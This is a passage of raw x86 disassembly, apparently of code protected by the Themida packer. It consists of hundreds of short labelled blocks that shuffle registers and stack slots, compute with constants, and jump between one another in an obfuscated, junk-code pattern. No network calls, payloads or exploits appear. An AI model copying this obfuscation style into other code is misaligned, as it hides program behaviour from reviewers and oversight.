; ---------------------------------------------------------------------------


loc_58B2BE:				; CODE XREF: sub_584787+AF65j
		mov	[esp-0Ch+arg_8], edx
		mov	edx, esp
		jmp	loc_58F48A
; ---------------------------------------------------------------------------


loc_58B2C8:				; CODE XREF: sub_584787+692Fj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58B2CD:				; CODE XREF: sub_584787+8771j
		mov	ecx, [esp+0]
		jmp	loc_5902FA
; ---------------------------------------------------------------------------


loc_58B2D5:				; CODE XREF: sub_584787+15EBj
		or	ecx, ebp
		pop	ebp
		sub	ecx, 3D5F4B9Dh
		mov	edx, ecx
		pop	ecx
		add	ebx, 36554A9Eh
		add	ebx, edx
		sub	ebx, 36554A9Eh
		jmp	loc_58F50A
; ---------------------------------------------------------------------------


loc_58B2F4:				; CODE XREF: sub_584787+7353j
		mov	edx, 2
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ecx
		push	ebp
		mov	ebp, 6DB30435h
		jmp	loc_58F6F9
; ---------------------------------------------------------------------------


loc_58B30A:				; CODE XREF: sub_584787+8F94j
		push	58796ADBh
		pop	ebp
		sub	ebp, 0F0D1F4C8h
		mov	eax, ebp
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		add	eax, 2F490B76h
		neg	eax
		shr	eax, 2
		add	eax, 9087AA2h
		push	edx
		mov	edx, 1BB95A5Bh
		and	edx, 314A2063h
		and	edx, 517677FEh
		push	ebx
		mov	ebx, 4ADB5C16h
		and	ebx, 15EE0BF2h
		shl	ebx, 8
		shr	ebx, 4
		sub	ebx, 0C70DC729h
		xor	edx, ebx
		pop	ebx
		sub	eax, 258753BFh
		add	eax, edx
		add	eax, 258753BFh
		pop	edx
		jmp	loc_588474
; ---------------------------------------------------------------------------


loc_58B36F:				; CODE XREF: sub_584787+440Dj
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_58AC80
; ---------------------------------------------------------------------------


loc_58B37A:				; CODE XREF: sub_584787+2344j
		mov	edx, [esp+1Eh+var_20+2]
		jmp	loc_585AE2
; ---------------------------------------------------------------------------


loc_58B382:				; CODE XREF: sub_584787+6B17j
		mov	[esp-8+arg_4], ebx
		push	7FFCh
		mov	[esp-4+arg_0], edi
		jmp	loc_58DFA3
; ---------------------------------------------------------------------------


loc_58B392:				; CODE XREF: sub_584787+B917j
		mov	[esp-4+arg_0], ecx
		push	43460CE1h
		jmp	loc_58FFF7
; ---------------------------------------------------------------------------


loc_58B39F:				; CODE XREF: sub_584787+8F74j
		push	eax
		push	ebx
		jmp	loc_58A7E1
; ---------------------------------------------------------------------------


loc_58B3A6:				; CODE XREF: sub_584787+78ECj
		mov	ecx, esi
		pop	esi
		add	esi, ecx
		mov	ecx, [esp+4+var_4]
		jmp	loc_5865B7
; ---------------------------------------------------------------------------


loc_58B3B3:				; CODE XREF: sub_584787+6317j
		sub	ebx, 4
		xchg	ebx, [esp-0Ch+arg_8]
		pop	esp
		jmp	loc_58ECD1
; ---------------------------------------------------------------------------


loc_58B3C2:				; CODE XREF: sub_584787+AA65j
		sub	esi, 65E01A45h
		add	esi, 51202FAFh
		sub	esi, 0CCF05F0h
		jmp	loc_58579D
; ---------------------------------------------------------------------------


loc_58B3D9:				; CODE XREF: sub_584787+4077j
		mov	esi, [esp+0Ah+var_C+2]
		jmp	loc_586FE4
; ---------------------------------------------------------------------------


loc_58B3E1:				; CODE XREF: sub_584787+644Bj
		dec	dl
		xor	bl, dl
		jmp	loc_589FE1
; ---------------------------------------------------------------------------


loc_58B3EA:				; CODE XREF: sub_584787+7E51j
		mov	ebx, [esp+44h+var_46+2]
		add	esp, 4
		inc	dh
		shl	dh, 7
		jmp	loc_5890A5
; ---------------------------------------------------------------------------


loc_58B3FD:				; CODE XREF: sub_584787+4F9j
		push	1F9Eh
		mov	[esp+4+var_4], ecx
		push	1A6Ah
		mov	[esp+8+var_8], ebp
		mov	ebp, 5FF5C3Ah
		push	0FA00A3C5h
		jmp	loc_58BB53
; ---------------------------------------------------------------------------


loc_58B41C:				; CODE XREF: sub_584787+1467j
		mov	[esp+10h+var_10], edx
		push	edi
		mov	edi, 7E3737F0h
		push	esi
		mov	esi, 248571DEh
		jmp	loc_58D075
; ---------------------------------------------------------------------------


loc_58B430:				; CODE XREF: sub_584787+260Fj
		add	esp, 4
		push	ebx
		mov	ebx, 3A134959h
		push	eax
		jmp	loc_5898AB
; ---------------------------------------------------------------------------


loc_58B43F:				; CODE XREF: sub_584787+1148j
		push	712Bh
		mov	[esp+0], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_585219
; ---------------------------------------------------------------------------


loc_58B456:				; CODE XREF: sub_584787+6ED5j
		xor	ebx, 0D7BF42BEh
		add	ebp, ebx
		pop	ebx
		sub	ecx, 796545DBh
		add	ecx, ebp
		jmp	loc_58B17D
; ---------------------------------------------------------------------------


loc_58B46C:				; CODE XREF: sub_584787+A8A0j
		mov	ecx, 35B12CC6h
		add	ebp, ecx
		pop	ecx
		pop	edx
		xchg	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_58EB50
; ---------------------------------------------------------------------------


loc_58B47D:				; CODE XREF: sub_584787+2E72j
		add	eax, edi
		sub	eax, 5D88593Ch
		push	ecx
		mov	cl, bh
		mov	[eax], cl
		jmp	loc_58E9D7
; ---------------------------------------------------------------------------


loc_58B48E:				; CODE XREF: sub_58FF63+Bj
		mov	ecx, 8CA8959Ch
		add	ebp, ecx
		pop	ecx
		jmp	loc_58E478
; ---------------------------------------------------------------------------


loc_58B49B:				; CODE XREF: sub_584787+EBFj
		shr	edi, 8
		shl	edi, 3
		jmp	loc_58C1B3
; ---------------------------------------------------------------------------


loc_58B4A6:				; CODE XREF: sub_584787+9ABAj
		add	ebx, edi
		pop	edi
		add	edx, ebx
		push	[esp-14h+arg_E+2]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp-14h+arg_E+2], edx
		push	[esp-14h+arg_12+2]
		mov	edx, [esp+0]
		add	esp, 4
		pop	[esp-14h+arg_E+2]
		pop	esp
		jmp	loc_58665F
; ---------------------------------------------------------------------------


loc_58B4D1:				; CODE XREF: sub_584787+40FCj
					; DATA XREF: Themida_:00584190o
		push	dword ptr [edi+1Ch]
		push	[esp-14h+arg_E+2]
		push	dword ptr [esp+0]
		pop	eax
		push	edx
		jmp	loc_584DBD
; ---------------------------------------------------------------------------


loc_58B4E1:				; CODE XREF: sub_584787+8DDCj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		push	edx
		mov	edx, 0DFE1023h
		xor	edx, 0DFE1027h
		add	eax, 111372F9h
		add	eax, edx
		sub	eax, 111372F9h
		jmp	loc_58FBBD
; ---------------------------------------------------------------------------


loc_58B511:				; CODE XREF: sub_584787+B14j
		push	671Fh
		mov	[esp+4Eh+var_4E], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 20063E56h
		jmp	loc_58DC8E
; ---------------------------------------------------------------------------


loc_58B526:				; CODE XREF: sub_584787+B2E5j
		mov	edx, 69D056Fh
		add	edx, 4B3F6D0Bh
		add	edx, 167C3BA3h
		xor	edx, 7BDC3DD0h
		jmp	loc_5887CA
; ---------------------------------------------------------------------------


loc_58B542:				; CODE XREF: sub_584787+9BE3j
		pop	esi
		xor	esi, 112C141Fh
		mov	ecx, esi
		jmp	loc_58B9D5
; ---------------------------------------------------------------------------


loc_58B550:				; CODE XREF: sub_584787+2602j
		xor	ecx, 0FF01A46Bh
		push	eax
		push	ebx
		mov	ebx, 339A2E09h
		not	ebx
		inc	ebx
		or	ebx, 8B52B31h
		xor	ebx, 0CCF5FBCFh
		push	ebp
		mov	ebp, ebx
		mov	eax, ebp
		pop	ebp
		pop	ebx
		add	eax, edx
		push	ecx
		xor	[esp+26h+var_26], 935039Ch
		jmp	loc_588B7F
; ---------------------------------------------------------------------------


loc_58B582:				; CODE XREF: sub_584787+95CCj
		add	esp, 4
		push	ebp
		jmp	loc_585D61
; ---------------------------------------------------------------------------


loc_58B58B:				; CODE XREF: sub_584787+5FCFj
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	505D01B9h
		pop	ecx
		jmp	loc_58BBF9
; ---------------------------------------------------------------------------


loc_58B59F:				; CODE XREF: sub_584787+4085j
		mov	esp, [esp+0Ah+var_C+2]
		mov	[esp+0Ah+var_C+2], edx
		push	eax
		pushf
		jmp	loc_58E5BE
; ---------------------------------------------------------------------------


loc_58B5AC:				; CODE XREF: sub_584787+7B8j
		pop	esp
		sub	esp, 4
		jmp	loc_587E15
; ---------------------------------------------------------------------------


loc_58B5B8:				; CODE XREF: sub_584787+39A7j
		xchg	cl, dh
		shl	dh, 1
		push	eax
		mov	al, 91h
		or	al, 3Ah
		shl	al, 3
		xor	al, 6
		jmp	loc_5860AB
; ---------------------------------------------------------------------------


loc_58B5CB:				; CODE XREF: sub_584787+B258j
		mov	edi, 4
		jmp	loc_58612D
; ---------------------------------------------------------------------------


loc_58B5D5:				; CODE XREF: sub_584787+2A55j
		mov	ebx, 41653DD8h
		not	ebx
		add	ebx, 62B4A44Dh
		sub	esi, 46CD7BF6h
		jmp	loc_5861FB
; ---------------------------------------------------------------------------


loc_58B5ED:				; DATA XREF: Themida_:005843B4o
		mov	cx, word ptr [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		jmp	loc_58E870
; ---------------------------------------------------------------------------


loc_58B610:				; CODE XREF: sub_584787+2FF4j
		push	ebp
		mov	ebp, 723965A8h
		jmp	loc_58453C
; ---------------------------------------------------------------------------


loc_58B61B:				; CODE XREF: sub_584787+8D3Ej
		pop	esp
		push	ebp
		push	4E0Dh
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 5F1C3E60h
		not	eax
		xor	eax, 2BE05E46h
		xor	eax, 2A513A27h
		sub	eax, 0A152A5FAh
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		add	[esp+4+var_4], eax
		pushf
		jmp	loc_58A018
; ---------------------------------------------------------------------------


loc_58B659:				; CODE XREF: sub_584787+48D3j
		sub	ebx, ecx
		pop	ecx
		jmp	loc_58B456
; ---------------------------------------------------------------------------


loc_58B661:				; CODE XREF: sub_584787+338Dj
		add	edx, ebp
		pop	ebp
		add	edx, eax
		sub	edx, 85D6F14h
		push	5007h
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 2D027164h
		jmp	loc_58DCCA
; ---------------------------------------------------------------------------


loc_58B67E:				; DATA XREF: Themida_:00584424o
		mov	cx, word ptr [esp+1Ch+var_1C]
		push	edi
		push	esp
		mov	edi, [esp+24h+var_26+2]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		push	eax
		jmp	loc_5875AC
; ---------------------------------------------------------------------------


loc_58B69E:				; CODE XREF: sub_584787+383j
		xor	ecx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		push	58E7h
		mov	[esp+18h+var_18], ebp
		push	esi
		mov	esi, 39800E26h
		sub	esi, 397F8E26h
		jmp	loc_585ADB
; ---------------------------------------------------------------------------


loc_58B6BD:				; CODE XREF: sub_584787+2644j
		xor	al, cl
		jmp	loc_589BE7
; ---------------------------------------------------------------------------


loc_58B6C4:				; CODE XREF: sub_584787+A95j
		mov	ecx, 6BED4844h
		jmp	loc_585203
; ---------------------------------------------------------------------------


loc_58B6CE:				; CODE XREF: sub_584787+3F02j
		pop	ecx
		add	al, bl
		mov	ebx, [esp+26h+var_26]
		jmp	loc_58D442
; ---------------------------------------------------------------------------


loc_58B6D9:				; DATA XREF: Themida_:00584284o
		lodsb
		xor	al, bl
		push	7187h
		mov	[esp+2Ah+var_2C+2], edx
		jmp	loc_58BCAD
; ---------------------------------------------------------------------------


loc_58B6E9:				; CODE XREF: sub_584787+885Fj
		mov	esp, [esp+2Ah+var_2C+2]
		test	cl, al
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58B6F4:				; CODE XREF: sub_584787+7521j
		xchg	esi, [esp+2Eh+var_30+2]
		jmp	loc_58C10A
; ---------------------------------------------------------------------------


loc_58B6FC:				; CODE XREF: sub_584787+5D84j
		sub	ebp, 0E4162131h
		jmp	loc_58FC97
; ---------------------------------------------------------------------------


loc_58B707:				; CODE XREF: sub_584787+612Fj
		sub	ebx, ebp
		jmp	loc_58BDC3
; ---------------------------------------------------------------------------


loc_58B70E:				; CODE XREF: sub_584787+70D5j
		mov	ecx, 6D6E3C0Dh
		jmp	loc_5867B0
; ---------------------------------------------------------------------------


loc_58B718:				; CODE XREF: sub_584787+A820j
		push	edx
		mov	edx, 5D6D0DCAh
		and	edi, edx
		pop	edx
		sub	edi, 809040Ah
		mov	eax, edi
		mov	edi, [esp+38h+var_38]
		jmp	loc_58A82D
; ---------------------------------------------------------------------------


loc_58B731:				; CODE XREF: sub_584787+51D1j
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp-10h+arg_E+2], ecx
		pop	ecx
		pop	edi
		add	edi, 4
		push	585Bh
		jmp	loc_587F00
; ---------------------------------------------------------------------------


loc_58B74F:				; CODE XREF: sub_584787+3400j
		add	edx, 2
		xchg	edx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		rol	[esp+1Ah+var_1C+2], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58B764:				; DATA XREF: Themida_:005843B0o
		mov	eax, [esp+1Eh+var_20+2]
		jmp	loc_58982F
; ---------------------------------------------------------------------------


loc_58B76C:				; CODE XREF: sub_584787+6A32j
		pop	ecx
		jmp	loc_58ED35
; ---------------------------------------------------------------------------


loc_58B772:				; CODE XREF: sub_584787+1818j
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	dh, 9
		shl	dh, 6
		shl	dh, 7
		inc	dh
		xor	dh, 0B4h
		and	dh, 0CBh
		xor	dh, 0AEh
		xor	bl, dh
		jmp	loc_5902E1
; ---------------------------------------------------------------------------


loc_58B792:				; DATA XREF: Themida_:005842B8o
		lodsw
		push	small 4BEh
		mov	word ptr [esp+6+var_8+2], cx
		mov	cx, 7740h
		add	ax, cx
		pop	cx
		jmp	loc_585290
; ---------------------------------------------------------------------------


loc_58B7AA:				; CODE XREF: sub_584787+623Cj
		push	edi
		jmp	loc_58E6F3
; ---------------------------------------------------------------------------


loc_58B7B0:				; DATA XREF: Themida_:00584400o
		push	dword ptr [edi+2Ch]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58B7B8:				; CODE XREF: sub_584787+64FBj
		pop	ebx
		pop	eax
		pop	ebx
		mov	[edi+eax*4], cl
		mov	ecx, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58B7CC:				; CODE XREF: sub_584787+92A5j
		push	edi
		jmp	loc_58D4D6
; ---------------------------------------------------------------------------


loc_58B7D2:				; CODE XREF: sub_584787+642Ej
		neg	edi
		sub	edi, 0FB57E80Ah
		add	ecx, edi
		jmp	loc_58BC87
; ---------------------------------------------------------------------------


loc_58B7E1:				; CODE XREF: sub_584787+32F3j
		add	esi, 29663725h
		sub	esi, ebp
		sub	esi, 29663725h
		mov	ebp, [esp-6+arg_0+2]
		push	ebp
		jmp	loc_58FBCF
; ---------------------------------------------------------------------------


loc_58B7F8:				; CODE XREF: sub_584787+1F64j
		pop	edi
		add	edx, 2
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		xor	bl, al
		jmp	loc_5870DA
; ---------------------------------------------------------------------------


loc_58B80C:				; CODE XREF: sub_584787+83BCj
		add	edx, 4A546E0Eh
		mov	ebp, [esp+0]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp-14h+arg_E+2]
		jmp	loc_58E2F0
; ---------------------------------------------------------------------------


loc_58B829:				; CODE XREF: sub_584787+38F9j
		pop	dword ptr [esp+0]
		jmp	loc_587C79
; ---------------------------------------------------------------------------


loc_58B831:				; CODE XREF: sub_584787+D02j
		pop	ecx
		mov	eax, [esp+0]
		jmp	loc_5891FE
; ---------------------------------------------------------------------------


loc_58B83A:				; CODE XREF: sub_584787+8340j
		add	[esp+28h+var_20], 70C4131Fh
		sub	[esp+28h+var_20], ebp
		sub	[esp+28h+var_20], 70C4131Fh
		pop	ebp
		sub	[esp+24h+var_20], 6D6E3C0Dh
		add	[esp+24h+var_20], ebp
		push	ecx
		jmp	loc_58B70E
; ---------------------------------------------------------------------------


loc_58B861:				; CODE XREF: sub_584787+3C14j
		push	eax
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_58E187
; ---------------------------------------------------------------------------


loc_58B870:				; CODE XREF: sub_584787+53F2j
		mov	esi, ecx
		pop	ecx
		add	[esp+6+var_4+2], 2B395AD7h
		sub	[esp+6+var_4+2], esi
		jmp	loc_58A75B
; ---------------------------------------------------------------------------


loc_58B884:				; CODE XREF: sub_584787+4059j
		push	[esp+0Ah+var_C+2]
		mov	eax, [esp+0Eh+var_10+2]
		add	esp, 4
		push	4739h
		jmp	loc_58CEFD
; ---------------------------------------------------------------------------


loc_58B89A:				; CODE XREF: sub_584787+9B35j
		xor	ecx, 7804459Bh
		xor	ecx, 85FA9D50h
		add	ebx, ecx
		pop	ecx
		add	edi, 49AE2386h
		jmp	loc_58548E
; ---------------------------------------------------------------------------
		push	[esp+0Ah+var_C+2]
		mov	ecx, [esp+0Eh+var_10+2]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_5898E6
; ---------------------------------------------------------------------------


loc_58B8CE:				; DATA XREF: Themida_:005842C8o
		mov	eax, [esp+12h+var_14+2]
		jmp	loc_58A9C8
; ---------------------------------------------------------------------------


loc_58B8D6:				; CODE XREF: sub_584787+7A55j
		add	ebx, eax
		sub	ebx, 154E17D4h
		jmp	loc_58C159
; ---------------------------------------------------------------------------


loc_58B8E3:				; CODE XREF: sub_584787+17FBj
		push	ebx
		mov	ebx, 5E535EDEh
		jmp	loc_58BC56
; ---------------------------------------------------------------------------


loc_58B8EE:				; CODE XREF: sub_584787+A31Aj
		add	eax, 4DEE635Fh
		dec	eax
		push	eax
		not	[esp+8+var_8]
		pop	eax
		jmp	loc_58B188
; ---------------------------------------------------------------------------


loc_58B8FE:				; CODE XREF: sub_584787+4A1j
		shl	byte ptr [esp-0Ch+arg_8], cl
		pushf
		jmp	loc_5850E9
; ---------------------------------------------------------------------------


loc_58B907:				; CODE XREF: sub_584787+8276j
		or	eax, eax
		jz	loc_58FED3
		push	dword ptr [edi+28h]
		jmp	loc_58E7BF
; ---------------------------------------------------------------------------


loc_58B917:				; CODE XREF: sub_584787+64CCj
		sub	byte ptr [esp+18h+var_18], bh
		mov	bh, byte ptr [esp+18h+var_18]
		jmp	loc_589674
; ---------------------------------------------------------------------------


loc_58B922:				; CODE XREF: sub_584787+2E4Dj
		add	eax, 0D5F950FCh
		add	ebp, eax
		jmp	loc_58D518
; ---------------------------------------------------------------------------


loc_58B92E:				; CODE XREF: sub_584787+CE1j
		add	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		jmp	loc_58786D
; ---------------------------------------------------------------------------


loc_58B93C:				; CODE XREF: sub_584787+A8C0j
		mov	cl, 0E4h
		add	cl, ah
		pop	eax
		shr	cl, 8
		push	edx
		mov	dl, 80h
		push	eax
		mov	ah, 0B1h
		add	dl, ah
		pop	eax
		and	cl, dl
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		sub	cl, 0BAh
		push	ebx
		push	eax
		jmp	loc_588555
; ---------------------------------------------------------------------------


loc_58B962:				; CODE XREF: sub_584787+BD7Cj
		push	[esp+20h+var_20]
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5872C5
; ---------------------------------------------------------------------------


loc_58B977:				; CODE XREF: sub_584787+52DBj
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp-0Ch+arg_8], esi
		push	5616h
		mov	[esp-8+arg_4], esp
		add	[esp-8+arg_4], 4
		jmp	loc_588C3B
; ---------------------------------------------------------------------------


loc_58B997:				; CODE XREF: sub_584787+4B02j
		mov	esi, 39A66459h
		neg	esi
		xor	esi, 5CE371C0h
		inc	esi
		not	esi
		jmp	loc_58D897
; ---------------------------------------------------------------------------


loc_58B9AC:				; CODE XREF: sub_584787+23A9j
		pop	eax
		add	ebx, edi
		jmp	loc_5861D2
; ---------------------------------------------------------------------------


loc_58B9B4:				; CODE XREF: sub_584787+F7Aj
		mov	[esp+18h+var_18], ebx
		push	[esp+18h+var_18]
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_586C75
; ---------------------------------------------------------------------------


loc_58B9C8:				; CODE XREF: sub_584787+1247j
		xor	edi, [esp-18h+arg_12+2]
		pop	esp
		test	cx, ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58B9D5:				; CODE XREF: sub_584787+6DC4j
		pop	esi
		jmp	loc_58E1ED
; ---------------------------------------------------------------------------


loc_58B9DB:				; CODE XREF: sub_584787+12FDj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_58853E
		push	104Dh
		mov	[esp-4+arg_0], ecx
		mov	ecx, 2E2B43F2h
		and	ecx, 0E610DF8h
		push	eax
		jmp	loc_584B0F
; ---------------------------------------------------------------------------


loc_58B9FE:				; DATA XREF: Themida_:00584320o
		mov	cx, [esp+0]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 31245CEAh
		sub	ebx, 1
		sub	ebx, 1A193E52h
		or	ebx, 17D04BADh
		shr	ebx, 4
		push	esi
		mov	esi, 5A3075C3h
		shl	esi, 4
		not	esi
		add	esi, 78004AADh
		add	esi, 2C84C77Bh
		sub	ebx, esi
		pop	esi
		add	edi, ebx
		jmp	loc_589DC9
; ---------------------------------------------------------------------------


loc_58BA3E:				; CODE XREF: sub_584787+5AC9j
		sub	esp, 4
		mov	[esp+30h+var_30], eax
		push	4
		pop	eax
		add	edx, 57685119h
		add	edx, eax
		sub	edx, 57685119h
		pop	eax
		add	edx, 4
		jmp	loc_5889E2
; ---------------------------------------------------------------------------


loc_58BA61:				; CODE XREF: sub_584787+9AD5j
		mov	ebx, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_58D003
; ---------------------------------------------------------------------------


loc_58BA6C:				; DATA XREF: Themida_:00584248o
		mov	ax, [esp+0]
		push	edx
		jmp	loc_58527A
; ---------------------------------------------------------------------------


loc_58BA76:				; CODE XREF: sub_584787+BE56j
		pop	edx
		add	esp, 4
		pop	[esp+24h+var_26+2]
		push	783Dh
		mov	[esp+24h+var_26+2], edx
		xchg	eax, [esp+24h+var_26+2]
		not	eax
		jmp	loc_58A556
; ---------------------------------------------------------------------------


loc_58BA92:				; CODE XREF: sub_584787+642j
		add	ebx, 4B9A5AD4h
		add	ebx, ebp
		sub	ebx, 4B9A5AD4h
		push	eax
		mov	eax, 1ACB6366h
		sub	ebx, eax
		pop	eax
		pop	ebp
		add	ebx, 4
		push	763Dh
		mov	[esp+10h+var_10], ebx
		push	[esp+10h+var_C]
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		pop	esp
		jmp	loc_584A11
; ---------------------------------------------------------------------------


loc_58BACB:				; CODE XREF: sub_584787+A6F2j
		add	ebp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		jmp	loc_58B2F4
; ---------------------------------------------------------------------------


loc_58BADF:				; CODE XREF: sub_584787+BE74j
		sub	esp, 4
		mov	[esp+10h+var_10], ecx
		jmp	loc_58E141
; ---------------------------------------------------------------------------


loc_58BAEA:				; CODE XREF: sub_584787+B9BFj
		sub	ecx, 2DE8018Bh
		sub	ecx, 4FC253C7h
		add	ecx, edx
		add	ecx, 4FC253C7h
		add	ecx, 2DE8018Bh
		jmp	loc_589A8D
; ---------------------------------------------------------------------------


loc_58BB09:				; DATA XREF: Themida_:005841D8o
		push	3E71h
		mov	[esp+14h+var_14], ebp
		sub	esp, 4
		mov	[esp+18h+var_18], esp
		add	[esp+18h+var_18], 4
		jmp	loc_58A6A6
; ---------------------------------------------------------------------------


loc_58BB26:				; CODE XREF: sub_584787+1186j
		neg	eax
		push	ecx
		mov	ecx, 761D2D67h
		inc	ecx
		xor	ecx, 2DA672DEh
		add	ecx, 40971C19h
		inc	ecx
		neg	ecx
		xor	ecx, 3333CA73h
		sub	eax, ecx
		jmp	loc_58ACC7
; ---------------------------------------------------------------------------


loc_58BB4B:				; CODE XREF: sub_584787+8EF1j
		push	ecx
		mov	ecx, esp
		jmp	loc_585099
; ---------------------------------------------------------------------------


loc_58BB53:				; CODE XREF: sub_584787+6C90j
		mov	ecx, [esp+0Ch+var_C]
		push	edi
		jmp	loc_58531A
; ---------------------------------------------------------------------------


loc_58BB5C:				; CODE XREF: sub_584787+607Cj
		mov	[esp+0], ecx
		mov	ecx, 261E13B5h
		sub	ecx, 1
		inc	ecx
		or	ecx, 77DD12F0h
		jmp	loc_58D719
; ---------------------------------------------------------------------------


loc_58BB73:				; CODE XREF: sub_584787+B04j
		push	edx
		mov	edx, 3EB54EB8h
		jmp	loc_58713F
; ---------------------------------------------------------------------------


loc_58BB7E:				; CODE XREF: sub_584787+6773j
		pop	eax
		xor	ecx, ebp
		mov	ebp, [esp+26h+var_26]
		add	esp, 4
		push	5008h
		mov	[esp+26h+var_26], ebp
		jmp	loc_58DE89
; ---------------------------------------------------------------------------


loc_58BB94:				; DATA XREF: Themida_:005842E4o
		mov	ax, word ptr [esp+26h+var_26]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		jmp	loc_58BF15
; ---------------------------------------------------------------------------


loc_58BBA7:				; CODE XREF: sub_584787+3DD2j
		pop	eax
		jmp	loc_58FD34
; ---------------------------------------------------------------------------


loc_58BBAD:				; CODE XREF: sub_584787+6A25j
		mov	edx, 2C8B6E28h
		dec	edx
		push	ebp
		jmp	loc_584B7C
; ---------------------------------------------------------------------------


loc_58BBB9:				; DATA XREF: Themida_:005841D0o
		pop	dword ptr fs:[edx]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58BBC1:				; CODE XREF: sub_584787+93C1j
		add	ebx, 92FD0576h
		and	esi, ebx
		pop	ebx
		jmp	loc_5890E9
; ---------------------------------------------------------------------------


loc_58BBCF:				; CODE XREF: sub_584787+2846j
		push	eax
		push	[esp+30h+var_2C]
		pop	eax
		pop	[esp+30h+var_30]
		jmp	loc_58729C
; ---------------------------------------------------------------------------


loc_58BBDD:				; CODE XREF: sub_584787+68BEj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+24h+var_20]
		pop	ebx
		pop	[esp+24h+var_26+2]
		pop	esp
		jmp	loc_58CE60
; ---------------------------------------------------------------------------


loc_58BBF9:				; CODE XREF: sub_584787+6E13j
		push	edi
		push	ecx
		mov	ecx, 50A35A2Dh
		mov	edi, ecx
		pop	ecx
		jmp	loc_586D79
; ---------------------------------------------------------------------------


loc_58BC08:				; CODE XREF: sub_584787+3593j
		sub	edx, 408826BCh
		pop	ebx
		jmp	loc_589AE3
; ---------------------------------------------------------------------------


loc_58BC14:				; CODE XREF: sub_584787+2DE8j
		push	[esp+1Ah+var_1C+2]
		pop	ecx
		push	2C4h
		mov	[esp+1Eh+var_20+2], esi
		push	esp
		pop	esi
		push	eax
		push	4
		pop	eax
		jmp	loc_589433
; ---------------------------------------------------------------------------


loc_58BC2E:				; CODE XREF: sub_584787+AEA7j
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_584A7B
; ---------------------------------------------------------------------------


loc_58BC39:				; CODE XREF: sub_584787+87ACj
		mov	[esp+1Eh+var_20+2], ebx
		jmp	loc_58E1D6
; ---------------------------------------------------------------------------


loc_58BC41:				; CODE XREF: sub_584787+5855j
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		jmp	loc_58E28C
; ---------------------------------------------------------------------------


loc_58BC4D:				; CODE XREF: sub_584787+A4A6j
		not	[esp+4Ch+var_4E+2]
		pop	ecx
		jmp	loc_588439
; ---------------------------------------------------------------------------


loc_58BC56:				; CODE XREF: sub_584787+7162j
		dec	ebx
		add	ebx, 2CBA76BFh
		add	ebx, 74F22A68h
		jmp	loc_58AB33
; ---------------------------------------------------------------------------


loc_58BC68:				; CODE XREF: sub_584787+653Bj
		xor	[esp+6+var_8+2], edi
		xor	edi, [esp+6+var_8+2]
		jmp	loc_58E8C8
; ---------------------------------------------------------------------------


loc_58BC73:				; CODE XREF: sub_584787+4AFCj
		push	ebx
		not	[esp+32h+var_34+2]
		pop	ebx
		jmp	loc_58DFC9
; ---------------------------------------------------------------------------


loc_58BC7D:				; CODE XREF: sub_584787+847Fj
		mov	ebp, 2E87321Ah
		jmp	loc_58D1F6
; ---------------------------------------------------------------------------


loc_58BC87:				; CODE XREF: sub_584787+7055j
		pop	edi
		push	esi
		mov	esi, ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		push	eax
		jmp	loc_58FFCF
; ---------------------------------------------------------------------------


loc_58BC95:				; CODE XREF: sub_584787+7637j
		pop	esp
		mov	[esp+4+var_4], eax
		push	esp
		pop	eax
		push	ebx
		jmp	loc_58D0E3
; ---------------------------------------------------------------------------


loc_58BCA1:				; CODE XREF: sub_584787+558Dj
		add	esi, 0B923740h
		pop	ebp
